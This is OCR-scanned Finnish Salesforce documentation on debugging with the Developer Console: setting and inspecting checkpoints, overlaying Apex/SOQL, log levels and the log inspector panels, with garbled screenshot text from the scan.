Tarkastuspisteet-vdlilehti

Checkpoints (Tarkastuspisteet) -vdlilehdessd ndytetddn luettelo tallennetuista tarkastuspisteistd, jotka sdilyttavat muistissa tilannekatsausta
objektien tilasta tarkastuspisteen saavuttamisen hetkelld.

Virheenkorjaus

EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytetttvissa: Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Group Edition- ja
Professional Edition
-organisaatioissa et voi
luoda tai muokata
mukautettuja
kayttooikeuksia, mutta voit
asentaa niitd osana
hallittavaa pakettia.

KAYTTJAOIKEUDET

Pakollisten mukautettujen

kayttdoikeuksien lisédminen

tai poistaminen:

*  Mukauteftujen
kayttooikeuksien
hallintaoikeus

Edit Properties

Logs Tests Fhadq)nins Query Editor Progress Problems ¥
Namespace Class Line Date File Line Iteration
none PermsetAssignmentController 8 0410 08:06:19 PermsetAssignmentContraoller 40 1
none PermsetAssignmentController 40 04/10 08:06:20 PermissionAssignmentContraollerTest 4 1
PermsetAssignmentContraoller 8 1
UserResultTest e 1
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Tarkastuspisteet

Tassa luettelossa naytetadn talld hetkelld tarkastettavat tarkastuspisteet. Valitse Debug (Virheenkorjaus) > My Current Checkpoints
Only (Vain omat nykyiset tarkastuspisteet) nahdaksesi vain tarkastuspisteet, jotka olet luonut Developer-konsolin avaamisen jalkeen.
Poista tdama valinta ndhdaksesi kaikki organisaatiollesi tallennetut tarkastuspisteet, mukaan lukien muiden kayttdjien juuri luomat
tarkastuspisteet.

Jokainen luettelon tarkastuspiste ndyttdd nama tiedot:

Sarake Kuvaus

Nimitila Tarkastuspisteen sisaltavan paketin nimitila.
Luokka Tarkastuspisteen sisaltava Apex-luokka.

Rivi Tarkastuspisteelld merkityn rivin numero.
Aika Tarkastuspisteen saavuttamisen aika.

Napsauta hiiren oikealla painikkeella mitd tahansa sarakeotsikkoa. Voit my6s valita Tarkastuspisteet-luettelossa ndytettdvat sarakkeet.

Avaa tarkastuspiste kaksoisnapsauttamalla sitd. Tarkastuspiste avautuu tarkastuspisteiden tarkastusohjelmassa.

Tarkastuspisteiden sijainnit

Tama luettelo sisaltda kunkin tarkastuspisteen sijainnin ldhdekoodissa. Jokainen luettelon kohta ndyttda nama tiedot:

Sarake Kuvaus

Tiedosto Tarkastuspisteen sisaltdvan Apex-luokan nimi.

Rivi Tarkastuspisteelld merkityn rivin numero.

[terointi Jos tarkastuspiste on luupissa, tdmd arvo osoittaa iteroinnin, jossa tarkastuspiste kaapataan.

[terointi on oletusarvoisesti 1, mika tarkoittaa, ettd tarkastuspiste tallennetaan ensimmaisen kerran, kun lahdekoodin rivi suoritetaan. Voit
kdyttaa toista iterointia, jos esimerkiksi haluat tutkia, miksi siimukka ei paaty odotetulla hetkelld. Muuta iterointia napsauttamalla
muutettavaa solua ja syottdmalld uuden numeron. Vain yksi tarkastuspiste kaapataan yhta koodirivid kohti riippumatta siitd, kuinka monta
kertaa se suoritetaan pyynnon aikana.

Maaritd tarkastuspisteiden sijainnit lahdekoodin editorilla. Tarkastuspisteiden sijainnit sdilytetdan, kunnes napsautat Clear (Tyhjenna) tai
suljet Developer-konsolin.

KATSO MYOS:
Tarkastuspisteiden tarkastusohjelma
Tarkastuspisteiden asettaminen Apex-koodiin
Apex-koodin ja SOQL-lausuntojen kerrostaminen

Developer Console -konsolin toiminnot
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Tarkastuspisteiden asettaminen Apex-koodiin

Kaytd Developer-konsolin tarkastuspisteita korjataksesi Apex-luokkiesi ja -kdynnistimiesi virheitd. Et voi asettaa tarkastuspisteitd
Visualforce-merkintaan.

@ Tarkedd: Apex-lokitason taytyy olla Finer (Hienompi) tai Finest (Hienoin) tarkastuspisteiden kayttamiseksi. Lisatietoja on kohdassa
Kirjaamistasojen madrittaminen.

Uuden tarkastuspisteen asettaminen:

1. Avaa Apex-luokka tai -kdynnistin Idhdekoodin editorissa.

2. Napsauta vasenta marginaalia sen rivin vierestd, johon haluat asettaa tarkastuspisteen. Samaan aikaan voi olla kaytdssa enintdan viisi
tarkastuspistetta.

Tarkastuspisteen tulokset kaapataan vain kerran riippumatta siitd, montako kertaa koodirivi suoritetaan. Tarkastuspisteen tulokset
kaapataan oletusarvoisesti juuri ennen kun koodirivi suoritetaan ensimmaista kertaa. Voit muuttaa kaappauksen iteraatiota Checkpoints
(Tarkastuspisteet) -valilehden Checkpoint Locations (Tarkastuspisteiden sijainnit) -luettelosta. Voit my&s kerrostaa Apex-koodia ja
SOQL-lausekkeita, joita suoritetaan koodin tarkastuspisteissd.

3. Suorita koodi Developer-konsolin ollessa avoinna.

4. Katso tarkastuspisteesi ja tuloksesi Checkpoints (Tarkastuspisteet) -vdlilehdestd.

Tarkastuspisteet sdilytetadn, kunnes napsautat Debug (Virheenkorjaus) > Clear Checkpoint Locations (Tyhjenna tarkastuspisteiden
sijainnit).

@ Note: Jos asetat tarkastuspisteen metodiin, jossa on @ future-huomautus, sinun taytyy pitdd Developer-konsoli auki, kunnes
@ future-metodi on suoritettu ei-synkronoidusti.

KATSO MYOS:
Lokien tarkastusohjelma
Apex-koodin ja SOQL-lausuntojen kerrostaminen
Tarkastuspisteet-valilehti

Tarkastuspisteiden tarkastusohjelma

Apex-koodin ja SOQL-lausuntojen kerrostaminen
Kaytd Developer-konsolia kerrostaaksesi Apex-koodin tarkastuspisteissa suoritettavaa diagnostiikkaa muokkaamatta koodia.
Lisatietoja on kohdassa Tarkastuspisteiden asettaminen Apex-koodiin.

Kun korjaat suorituksen aikana ilmenneita ongelmia, saatat haluta tietdd muuttujan tai tietokannan tilan. Haluat myds ehka luoda tietyn
tilanteen, jossa testata koodiasi. Developer-konsoli sallii sinun kerrostaa Apex-koodia ja SOQL-lausekkeita, joita suoritetaan koodin
tarkastuspisteissa.

1. Aseta tarkastuspisteet, suorita koodisi ja siirry Checkpoints (Tarkastuspisteet) -vélilehteen.
2. Valitse tarkastuspiste ja napsauta Edit Properties (Muokkaa ominaisuuksia).

3. Valitse SOQL tai Apex Code (Apex-koodi). Jos haluat suorittaa diagnostiikkakoodia luomatta kekovarastoa tarkastuspisteessd, poista
valinta Dump Heap (Kekovarasto).
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Execution Action Properties x
Dump Heap:
Action Script Type: @ None © soaL © Apex Code
Action Script: selact id, name from contact]

Cancel oK

4. Syotd SOQL- tai Apex-koodia Action Script (Komentosarja) -kenttadn ja napsauta OK.

Nofte: Etvoi viitata paikallisiin objekteihin, koska anonyymilohko on uusi pinokehys. Viittaa staattisiin objekteihin tai luo uusia
objekteja. Et voi mydskdan sitoa muuttujia SOQL-kyselyihin, joita kdytetddn asetteluissa.

Kerrostetun koodin tulokset ndytetdan erillisessd Query Results (Kyselyn tulokset)- tai Apex Execution Results (Apex-suorituksen

tulokset) -vdlilehdessd tarkastuspisteiden tarkasteluohjelmassa. Lisétietoja kyselyn tuloksien selaamisesta on kohdassa Developer Console
-konsolin kyselyeditori.

@ Note: Apex Execution Results (Apex-suorituksen tulokset) -vélilehdessd arvo —1 osoittaa, etta kenttda ei voi kdyttaa.

KATSO MYOS:
Tarkastuspisteiden asettaminen Apex-koodiin
Tarkastuspisteet-valilehti

Tarkastuspisteiden tarkastusohjelma

Tarkastuspisteiden tarkastusohjelma

Kayta tarkastuspisteita tutkiaksesi muistissa olevia objekteja suorituksen tietyltd hetkeltd ja ndhddksesi muut niihin viittaavat objektit.

Siirry Checkpoints (Tarkastuspisteet) -vdlilehteen ja kaksoisnapsauta tarkastuspistettd nahdaksesi tulokset tarkastuspisteiden
tarkastusohjelmassa. Tarkastuspisteiden tarkastusohjelma tarjoaa enemman tietoja muuttujista kuin lokien tarkastusohjelma, mukaan
lukien kokoelmien yksittdisia kohteita.

Tarkastuspisteiden tarkastusohjelma sisaltda kaksi valilehtea:

e Heap (Keko) -valilehti ndyttda kaikki muistissa olevat objektit siltd hetkeltd, kun tarkastuspisteen koodirivi suoritettiin. Kohteet
luetteloidaan ja ryhmitetdan tietotyypeittdin.

FilterOptions '*/| PermsetAssignmentController '*'| PermissionAssignmentControllerTest '* i /10 08:06:19 ~
Heap | Symbols
N L
Type Count Total Size Address Size Field Value
FilterOptions i 20 Ox4dal7adl 20 filteron_Email true
PermsetAssignmentC 1 12 fiterOn _FirstName .
String 1 0
filterOn_LastMame true
searchFilter Ox1ds0443d

References  Search

Inbound References Referencing Instances
Field Type Address Size
accessibleFiclds DynamicObjectHandler 0x2ba10ded 12
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- Types (Tyypit) -sarake on luettelo kaikista muistissa olevista objektiesiintymista tarkastuspisteen hetkeltd. Luettelossa ndytetdan
myds objektiesiintymien lukumdara ja kulutetun muistin madrd tavuina. Napsauta kohdetta ndhdaksesi luettelon kyseisista
objekteista Instances (Esiintymat) -sarakkeessa. Luettelossa ndkyy myos objektien osoite keossa ja kulutettu muisti. Napsauta
esiintymada nahdaksesi kyseiseen objektiin parhaillaan asetetut muuttujat State (Tila) -sarakkeessa.

— References (Viitteet) -valilehti tarjoaa kaksi luetteloa esittdakseen muistissa olevien symbolien suhteita. Kdytd Inbound References
(Saapuvat viitteet) -luetteloa etsidksesi symboleita, joissa voi olla viitteitd tietyntyyppisiin objekteihin. Kdytd Referencing Instances
(Viittaavat esiintymat) -luetteloa etsidksesi esiintymid, joissa on viitteita symboliin. Kaksoisnapsauta I6ytdaksesi esiintyman muusta
kekovaraston osasta.

- Search (Haku) -valilehti sallii sinun hakea kekovarastojen symboleita arvon tai osoitteen perusteella. Symboliarvojen haussa
osittainen vastaavuus riittad, mutta osoitteiden taytyy olla tarkalleen oikein. Hae arvoja nopeasti napsauttamalla hakukuvaketta
(@), joka ndytetddn arvon oikealla puolella, kun siirrdt hiiren osoittimen sen ylle State (Tila) -paneelissa.

e Symbols (Symbolit) -vélilehti ndyttda kaikki muistissa olevat symbolit puuhakemistossa tarkastuspisteen hetkeltd. Voit tarkastella silla
nopeasti jarjestelmadn tilaa madritetylld koodirivilld (ja iteroinnilla) tarkastuspisteen sijainnista.

FilterOptions PermsetAssignmentController PermissionAssignmentControllerTest Perr i ‘ont /10 08:06:19 ~

Heap || Gymbols

Symbol Key Value
D key
=3 this this Type PermsetAssignmentController (12 bytes)
=] filter filter Ox44a17a41
(=] searchedUsers searchedUsers (UserList)

@ Tarkedd: Jos et nde vierintapalkkeja tarkastuspisteiden tarkastusohjelmassa Mac-jarjestelmalld, avaa System Preferences
(Jarjestelmdasetukset) > General (Yleiset) javalitse Show scroll bars (Naytd vierityspalkit) -asetukseksi
Always (Aina).

KATSO MYOS:
Tarkastuspisteet-valilehti
Tarkastuspisteiden asettaminen Apex-koodiin

Apex-koodin ja SOQL-lausuntojen kerrostaminen

Lokit-vdlilehti

Developer-konsolin Logs (Lokit) -valilehden avulla voit kdyttda virheenkorjauslokeja, jotka sisdltvat tietokantatapahtumia, Apex-kasittelyitd,
tyonkulkuja, callout-kutsuja ja vahvistuslogiikkaa.

Developer-konsoli pyytda virheenkorjauslokeja automaattisesti nykyiselle kayttdjalle ja ndyttdd ne Logs (Lokit) -vélilehdessa. Jos sinulla
on esimerkiksi tietueen lisddmiseen liittyvid vahvistussadntoja ja lisadt uuden tietueen, Developer-konsoli kaappaa virheenkorjauslokien
pyynnolle ja lisdd sen luetteloon.

«

F.ngs Tests Checkpoints Query Editor Progress Problems

User Application Operation Time Status Read Size
is Browser |_uifcommon/apex/debu... 04/09 13:38:46 Success 39132

] Fitter  Click here to fiter the log list
e Jos haluat avata valitun lokin lokien tarkastusohjelmassa, napsauta File (Tiedosto) > Open Log (Avaa loki) tai kaksoisnapsauta

lokia Logs (Lokit) -valilehdesta. Kayta lokien tarkastusohjelmaa tarkastellaksesi virheenkorjauslokia, arvioidaksesi Apex-koodia,
seurataksesi DML:a4, valvoaksesi suorituskykyd jne.
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e Jos haluat avata valitun lokin tekstieditorissa, napsauta File (Tiedosto) > Open Raw Log (Avaa raaka loki).

e Joshaluat suodattaa nakyvissd olevia lokeja, napsauta Filter (Suodatin) ja kirjoita tekstid, jota haluat ndhda luettelossa. Jos esimerkiksi
haluat ndhda tietyn kayttdjan virheenkorjauslokeja, kirjoita kayttajan nimi. Suodatin on merkkikokoriippuvainen.

® Jos haluat poistaa kaikki lokit luettelosta, napsauta Debug (Virheenkorjaus) > Clear (Tyhjennd) > Log Panel (Lokipaneeli).

® Logs (Lokit) -vdlilehdessa ndytetdan oletusarvoisesti vain nykyisen kayttdjan luomat lokit. Jos haluat tarkastella kaikkia organisaatiollesi
tallennettuja virheenkorjauslokeja, mukaan lukien muiden kayttajien juuri luomia lokeja, napsauta Debug (Virheenkorjaus) ja poista
valinta Show My Current Logs Only (Naytd vain omat nykyiset lokit).

e Jos haluat piilottaa kaikki olemassa olevat lokit automaattisesti sivun seuraavalla pdivityskerralla, napsauta Debug (Virheenkorjaus)
ja valitse Auto-Hide Logs (Piilota lokit automaattisesti).

e Joshaluatladata kopion valitusta lokista tekstitiedostona, napsauta File (Tiedosto) > Download Log (Lataa loki). Tdman tiedoston
oletusarvoinen nimion apex.log.

® Jos haluat estad lokeja latautumasta avatessasi Developer-konsolin, siirry osioon Help (Ohje) > Preferences (Valinnat) ja maarita
Prevent Logs on Load (Esta lokit ladatessa) -asetuksen arvoksi true.

@ Nofte: Kayttdjalokit madritetddn organisaatiosi Debug (Virheenkorjausloki) -sivulta. Kirjoita Mdaritykset-valikon Pikahaku-kenttdan
Virheenkorjauslokit javalitse Virheenkorjauslokit.

Lokitasojen madrittdminen

Lokitasot madrittavat virheenkorjauslokiin tallennettujen tietojen madran. Suuren lokin jasentaminen saattaa kestad kauan. Sadda lokitasoa
pienentdaksesi lokia. Kdytd kattavaa lokitasoa tarkastettavalle koodille. Kayta valjempaa lokitasoa koodille, josta et ole kiinnostunut.

Madrita tulevien pyyntojen lokitasot napsauttamalla Debug (Virheenkorjaus) > Change Log Levels (Muuta lokitasoja). Tama sivu
sallii sinun madrittad seurantalippuja ja virheenkorjaustasoja.

Jos haluat korvata tietyn luokan tai kdynnistimen oletusarvoiset lokitasot tai madrittaa lokin kayttajalle, lisad seurantalippu, joka sisaltda
keston ja virheenkorjaustason.

Tallenna muutoksesi ja sulje ikkuna napsauttamalla Done (Valmis).

@ Note: Jos kdytat virheenkorjauksessa tarkastuspisteitd, valitse Apex-koodin lokitasoksi HIENOMPI tai HIENOIN. (Al3 kayta
HIENOIN-lokitasoa kayttdonotossa).

Lisatietoja ndista asetuksista on kohdissa Virheenkorjauslokien luokat ja Virheenkorjauslokien tasot.

@ Tarkedd: Jos Developer-konsoli on avoinna, Developer-konsolissa maaritetyt yleiset lokitasot vaikuttavat kaikkiin lokeihin, mukaan

lukien kdyttodnoton yhteydessa luodut lokit. Varmista ennen kdyttdonoton suorittamista, ettd Apex-koodin lokitasoksi ei ole
madritetty Hienoin. Muutoin kdyttéonotto saattaa kestad odotettua kauemmin.

KATSO MYOS:
Developer Console -konsolin Debug (Virheenkorjaus) -valikko
Lokien tarkastusohjelma
Virheenkorjauslokien tasot

Debug Log Order of Precedence

Lokien tarkastusohjelma

Lokien tarkastusohjelma on sisdltékohtaisen suorituksen tarkasteluohjelma, joka ndyttda toiminnon ldhteen, kdynnistimen ja seuraukset.
Kéyta tdta tyokalua tarkastellaksesi virheenkorjauslokeja, jotka sisdltavat tietokantatapahtumia, Apex-kdsittelyitd, tydnkulkuja ja
vahvistuslogiikkaa.
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Lokien tarkastusohjelmassa naytettavat paneelit riippuvat valitusta perspektiivistd. Jos haluat vaihtaa perspektiivid, napsauta Debug
(Virheenkorjaus) > Switch Perspective (Vaihda perspektiivid). Lisatietoja oletusarvoisista ja mukautetuista perspektiiveista on
kohdassa Perspektiivien hallinta lokien tarkastusohjelmassa.

Lokipaneelit
Lokien tarkastusohjelma voi sisaltdd minka tahansa seuraavista paneeleista:

e Pinohakemisto

e Suorituspino

e Suoritusloki

e |dhde

e Muuttujat

e Suorituksen yhteenveto

Napsauta Debug (Virheenkorjaus) > View Log Panels (Nayta lokipaneelit) tai paina CTRL+P valitaksesi kaytettdvissa olevia paneeleja
ja suunnitellaksesi mukautetun perspektiivisi.

| Select Panels x
Stack Tree
Execution Stack
Execution Log
Source
[¥] variables

Execution Overview

Jos suunnittelet mukautetun perspektiivin, jota haluat kdyttda uudelleen mydhemmin, napsauta Debug (Virheenkorjaus) > Save
Perspective (Tallenna perspektiivi) ja anna sille helposti muistettava nimi. Kun mukautettu perspektiivi on tallennettu, voit valita sen
lokien tarkastusohjelmasta koska tahansa napsauttamalla Debug (Virheenkorjaus) > Switch Perspective (Vaihda perspektiivia).

Useimmat paneelit paivittyvat automaattisesti asiaan liittyvid ndyttdakseen tietoja, kun napsautat kohdetta paneelista. Jos esimerkiksi
napsautat kansiota Stack Tree (Pinohakemisto) -paneelista, Execution Stack (Suorituspino)-, Execution Log (Suoritusloki)- ja Source (Ldhde)
-paneelit pdivitetddn ndyttdmaan asiaankuuluvaan objektiin liittyvid tietoja. Vastaavasti, jos napsautat rivia suorituslokista, Stack Tree
(Pinohakemisto)-, Execution Stack (Suorituspino)- ja Source (Lahde) -paneelit paivitetadn kyseisen rivin tiedoilla. Kohteen napsauttaminen
Execution Overview (Suorituksen yhteenveto) -paneelin Executed Units (Suoritetut yksikét) -valilehdestd paivittad Execution Log
(Suoritusloki)-, Stack Tree (Pinohakemisto)-, Execution Stack (Suorituspino)- ja Source (Lahde) -paneelit.

Pinohakemisto

Pinohakemisto-paneelissa on kaksi hakemistondkymad, joissa ndytetadn tietoja "ylhdaltd alas" (eli ensimmadisistd kutsuista alaspain), mika
sallii sinun ndhdd kesken olevien kohteiden hierarkian. Jos esimerkiksi luokka kutsuu toista luokkaa, toinen luokka ndytetaan ensimmaisen
luokan alanoodina.

Suoritushakemisto ndyttda kunkin toiminnon. Jos esimerkiksi £or-luuppi kutsuu kohdetta System.debug () 8kertaa,
suoritushakemisto ndyttda kunkin kutsun keston:

erull:iun Tree Performance Tree
Unit Duration Heap
=3 f_uifcommon/apex/deb... 53.06 2534 -
=147 execute_anonymou... 53.00 2534 |E |
=] debug 0.11 0 bl
=] debug 0.11 0
=] debug 011 0
=] debug 0.14 0
= dehiin n 14 n ha
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Suorituskykyhakemisto kerdd toimintojen tietoja ndyttadksesi sinulle paremman kokonaiskuvan toimintojen suorituskyvysta. Ylla olevan
esimerkin mukaisesti, suorituskykyhakemisto ndyttda jokaisen kutsun kokonaiskeston metodiin debug:

[stackiree |
Execution Tree Perfnmm Tree
Unit Duration Heap Iterations
23 /_uijcommon/ap... 53.06 2534
=3 execute_ano... 53.00 2534 1
[=] debug 1.02 0 8
= size 0.54 0 5
Eladd 0.47 0 4
= 0.10 0 1

Tama loki luotiin Execute Anonymous (Suorita anonyymisti) -ikkunasta. Kutsut metodiin debug ja muualla koodissasi sijaitseviin
metodeihin kerddntyvat suoritettuun yksikkoon.

Pinohakemisto-paneelin jokainen osio ndyttdd nama tiedot:

Sarake Kuvaus

Alue Prosessin sisdinen rajoitettu alue, kuten tyénkulku, luokka tai DML,
Yksikkod Kohteen nimi (alue)

Kesto Kohteen suorittamiseen kaytetty aika (millisekunteina).

Keko Kohteen kédyttamdn keon madra (tavuina).

Iteroinnit Kohteen kutsuntakerrat.
Suorituspino

Suorituspino-paneeli ndyttda virheenkorjauslokin valitun kohteen "alhaalta yl6s" -ndkymén, alkaen alhaisimman tason kutsusta, sen
jalkeen kutsun kdynnistanyt toiminto jne.

Unit Duration Heap
debug 0.11 1]
execute_anony 53.00 2534

Suoritusloki

Execution Log (Suoritusloki) -paneeli sisltdd nykyisen prosessin virheenkorjauslokin. Virheenkorjausloki siséltda kaikki prosessissa
tapahtuneet toiminnot, kuten metodikutsut, tydnkulkusdaannot ja DML-toiminnot. Jos haluat tarkastella nakymassa lyhennettyja pitkia
rivejd, siirrd kursori rivin paalle ndhdaksesi koko rivin ponnahdusruudussa.
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Execution Log

Timestamp Event Details
10:35:16:061  EYECUTION_ST... -
10:35:16:061  CODE_UNIT_ST.. [EXTERNAL]|execute_anonymous_apex [

10:35:16:064 WARLABLE_SCO..  [1]|characters|LIST <Siring > [true|false
10:35:16:086 HEAP_ALLOCATE  [EXTERMAL] |Bytes:7

10:35:16:086 HEAP_ALLOCATE  [EXTERMAL] |Bytes:13

10:35:16:086 STATEMENT_EX [l

10:35:16:086 STATEMENT_EX [l

10:35:16:086 LIMIT_USAGE [1]|SCRIPT_STATEMENTS|1/200000
10:35:16:087 HEAP_ALLOCATE  [1]|Bytes:4

10:35:16:087 SYSTEM_CONST...  [1]]<init>()

10:35:16:088 SYSTEM_CONST...  [1]]<init>()

10:35:16:088 HEAP_ALLOCATE  [1]|Bytes:5

10:35:16:088 SYSTEM_METHO... [1]ILIST<String> add(Object)

10:35:16:088 SYSTEM_METHO... [1]ILIST<String>> add(Object)

10:35:16:088 HEAP_ALLOCATE  [1]|Bytes:11

‘10‘:35: 16:088 - SYSTEIT METHO... T11ILIST<Strina:> add(Obiect) : o

] This Frame [*] Executable [“] Debug Only (] Filter

Kaytd suorituslokia jaljittdaksesi uudelleen prosessin vaiheet. Voit selata rivejd itse tai suodattaa lokin sisaltdmdan sinua kiinnostavat rivit:

This Frame (Tama kehys): Nayttda prosessista vain taman alueen tai vain tasoon liittyvdt kohteet. Jos esimerkiksi valitset kdynnistimen,
joka kutsuu luokkaa, ainoastaan kdynnistintoiminnot ndytetadn. Jos napsautat CODE_UNIT STARTED ja valitset This Frame
(Tdmad kehys), ndet prosessista vain kohteet, jotka tapahtuvat CODE_UNIT STARTED-rivin ja siihen liittyvan

CODE_UNIT ENDED-rivin valilld.

Executable (Suoritettavat): Nayttda ainoastaan virheenkorjauslokin suoritettavat kohteet. Tama piilottaa kumulatiivisten rajoitusten
tiedot, kuten tehtyjen SOQL-pyyntdjen mddran, DML-rivien mddran, jne.

o Vihje: Pid4 Executable (Suoritettavat) -vaihtoehto aina valittuna. Poista sen valinta vain silloin, kun optimoit prosessiasi ja
tarvitset tiettyja rajoitustietoja.
Debug Only (Vain virheenkorjaus): Nayttad vain koodiin lisddmadsi virheenkorjauslausunnot.

Filter (Suodatin): Nayttad kenttdan syottamiasi tietoja vastaavat kohteet. Jos esimerkiksi valitset Filter (Suodatin) ja kirjoitat DML,
suorituslokista ndytetadn vain rivit, joiden tapahtumissa tai lisdtiedoissa on merkkijono "DML". Suodatin on merkkikokoriippuvainen.

Suoritusloki-paneeli sisaltda seuraavat tiedot:

Sarake Kuvaus

Aikaleima Jarjestelmdaika prosessin aloitushetkend, ndytetadn kayttajan paikallisessa ajassa. Muoto on:

HH:MM:SS:MSS.

Tapahtuma Virheenkorjaustapahtuma
Lisatiedot Tapahtumaan liittyvia lisatietoja, kuten rivin numero ja parametrit.
L&hde

Lahde-paneeli sisdltda suoritetun lahdekoodin tai prosessin aikana kaytetyt yksikdiden metadata-madritelmat ja ndyttad, miten monta
kertaa koodirivi suoritettiin. Paneelissa ndytettdva sisalto riippuu muista ndkyman valinnoista.

Jos haluat siirtya tietylle koodiriville, kirjoita rivin numero Lahde-paneelin alalaidassa olevaan tekstikenttadn ja napsauta Jump (Siirry).

Napsauta Open (Avaa) avataksesi suoritetun ldhdekoodin ldhdekoodin editorissa.

@ Note: Jos prosessin aikana suoritetaan vahvistussaantéja tai tydnkulkuja, niiden metadata-versiot ndytetdan Lahde-paneelissa.

Et voi avata metadata-esitelmaa Developer-konsolista. Lisatietoja on Force.com Metadata API Developers Guide -oppaan kohdissa
ValidationRule ja Workflow.
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Muuttujat

Virheenkorjaus Developer-konsolin avulla

Katso Muuttujat-paneelista onko muuttujalle kohdistettu arvo ja jos on, niin mika. Napsauta Variable (Muuttujaa )-tapahtumaa

tayttadksesi osion.

@ Note: Apex-koodin lokitason on oltava Finest (Yksityiskohtaisin) lokiin lisdttaville muuttujakohdistuksille.

Toinen tapa tarkastella muuttujien sisdltda on kayttda tarkastuspisteitd, joiden avulla ndet enemman tietoja suoritushetkelld muistissa
olevista yksikdistd. Lisdtietoja on kohdassa Tarkastuspisteiden asettaminen Apex-koodiin.

Suorituksen yhteenveto: Tallennusijdrijestys, rajoitukset, aikajana ja suoritetut yksikot

Lokien tarkastusohjelman alaosassa oleva Execution Overview (Suorituksen yhteenveto) -paneeli sisdltdd neljd vdlilehted:

e Tallennusjarjestys-valilehti ndyttda DML-toimintojen varikoodatun aikajanan. Kunkin suoritetun DML-toiminnon tallennusjdrjestyksen
elementit ndytetadn palkkeina aikajanalla.

Save Order
Sobject
Account
Contact
Opportunity
Task

Task

Limits | Timeline || Executed Units

Elementit on erotettu toisistaan seuraavilla vareilla:

Vari
Punainen
Oranssi
Vihred
Sininen

Violetti

Tyyppi
Ennen-kdynnistin
Jalkeen-kaynnistin
Vahvistussdanto
Kohdistussaantod

Tyonkulkusaanto

Napsauta elementin palkkia aikajanasta néhdaksesi sen lisdtiedot. Ponnahdusikkunassa ndytetddn lisatietoja, mukaan lukien linkki,
jonka avulla voit siirtyd suoraan lokin asianmukaiseen sijaintiin.

Jos haluat tarkastella vaikutuksen alaisten tietueiden tunnuksia, napsauta sObject-objektin nimed vasemmasta ikkunasta.

e Rajoitukset-valilehdessd ndytetddn jdrjestelman kokonaisrajoitukset nimen ja kdytetyn mddran mukaan, ja se siséltda seuraavat tiedot:

Sarake

Raja

Tahdn asti kdytetty
Pyynnon kayttdma

Kaytettdvissa yhteensa

Kuvaus

Rajan nimi.

Taman prosessin kdyttamd osa rajoituksesta suoritushetkelld.
Pyynnon kdyttdma osa rajoituksesta prosessin paatyttya.

Rajoituksen kokonaismaara.
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e Aikajana-vdlilehti tarjoaa visuaalisen esityksen kunkin prosessin kestosta. Valitse Scale (Asteikko) -vaihtoehto, jonka tarjoama ndkyma

on sinulle hyadyllisin.

focammoerien

Save Order Limits Timeline Executed Units
Category Millis % 14:53:01.100 14:53:01. 110 14:53:01.120 14:53:01.130 14:5.
wooe  ww o J5 ¥ ]k
| | B
WORKFLOW 0.00 0.00%
DB 0.00 0.00% k4
4 1 +
Scale: @ 0.01 Seconds ) 0.1Seconds © 1 Second © 10 Seconds @) Minutes
Timeline (Aikajana) -valilehti sisdltad seuraavat tiedot:

Sarake Kuvaus

Luokka Prosessin tyyppi.

Millis. Prosessin kesto millisekunteina.

% Taman prosessin kayttama osuus koko pyynndsté prosentteina.

e Suoritetut yksikot -vélilehdessa ndytetadn prosessin kunkin kohteen kdyttdmat jarjestelmaresurssit.

SaveOrder | Limits | Timeline | Execwted Units

What MName Sum Avg Max Min Count Heap
Method size 0.40 0.08 0.11 0.08 5 0
Method debug 0.72 0.09 0.13 0.08 8 )
Method execute 36.92 36.92 36.92 38.92 1 2534
Method [ _uifcom... 36.98 36.98 36.98 36.98 1 0
Method add 0.49 0.12 0.15 0.09 4 0
Show: | Methods | Queries | Workflow || Callouts ﬁ Validations || Triggers | Pages

Query Type Sum rows

nfa
nfa
nfa
nfa

nfa

nfa
nfa
nfa
nfa

nfa

Avg rows

nfa
nfa
nfa
nfa

nfa

Max rows  Min row

nfa nfa -

nfa nfa
nfa nfa
nfa nfa
nfa nfa -

Voit kdyttad valilehden alalaidassa olevia painikkeita suodattaaksesi tietoja kohteiden tyypin mukaan. Jos et esimerkiksi halua tarkastella
metodien lisdtietoja, napsauta Methods (Metodit). Napsauta painiketta uudelleen poistaaksesi suodattimen.

Executed Units (Suoritetut yksikot) -valilehti sisaltdd seuraavat tiedot:

Sarake Kuvaus

Mitd Prosessin kohteen tyyppi. Tyyppeihin sisaltyy:
- Menetelmd

- Pyynnot

- tyénkulku

- Kutsut

- DML

- Vahvistukset

- Kdynnistimet

- Sivut

Nimi Prosessin kohteen nimi.
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Sarake
Yhteensa
Keskiarvo
Maks
Min
Maard
Keko

Pyynnon tyyppi

Rivit yhteensd
Rivit keskiarvoisesti
Maks. rivit

Min. rivi

Kuvaus

Kohteen kokonaiskesto.

Kohteen keskiarvoinen kesto.

Kohteen enimmaiskesto.

Kohteen vahimmaiskesto.

Kohteen kutsuntakerrat prosessin aikana.

Tila, jonka kohde vei keossa.

Pyynnon tyyppi. Mahdolliset arvot ovat:

- S0QL

- SOSL

Kohteelle muutettujen tietueiden kokonaismaara.
Kohteelle muutettujen tietueiden keskiarvoinen maara.
Kohteelle muutettujen tietueiden enimmaismaara.

Kohteelle muutettujen tietueiden vahimmaismaara.

Jos haluat lajitella tiedot tietyn sarakkeen mukaan, napsauta sarakkeen otsikkoa.

Virheenkorjaus Developer-konsolin avulla

@ Tarkedd: Jos kaytat Mac-jarjestelmaa etkd nde vierintapalkkeja tarkastuspisteiden tarkastusohjelmassa, avaa
Jarjestelmdasetukset > Yleiset ja valitse Naytd vierityspalkit -asetukseksi Aina.

KATSO MYOS:

Developer Console -konsolin Debug (Virheenkorjaus) -valikko

Lokit-valilehti

Perspektiivien hallinta lokien tarkastusohjelmassa

Mukautettujen perspektiivien luominen lokien tarkastusohjelmassa

Esimerkkeja lokien tarkastusohjelman kéyttémisesta

Ohessa on esitetty joitain tapoja, joilla voit kdyttda lokien tarkastusohjelmaa ongelmien diagnosoimiseen ja ratkaisemiseen.

Suorituspolun jaljittaminen
Tilanne: Olet avannut virheenkorjauslokin lokien tarkastusohjelmassa. Mitd tapoja on kdyda tiedot lapi?

Suorituspolun jaljittdminen

System. Debug-lausekkeiden tarkasteleminen

Lahdekoodin paivittaminen

Pyynnon DML:n seuraaminen

Visualforce-sivujen suorituskyvyn arvioiminen

Monimutkaisen prosessin tarkasteleminen
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1. Valitse Execution Log (Suoritusloki) -paneelista Executable (Suoritettavat) suodattaaksesi pois kaikki ei-suoritettavat vaiheet,
mukaan lukien kumulatiivisten rajoitusten tiedot.

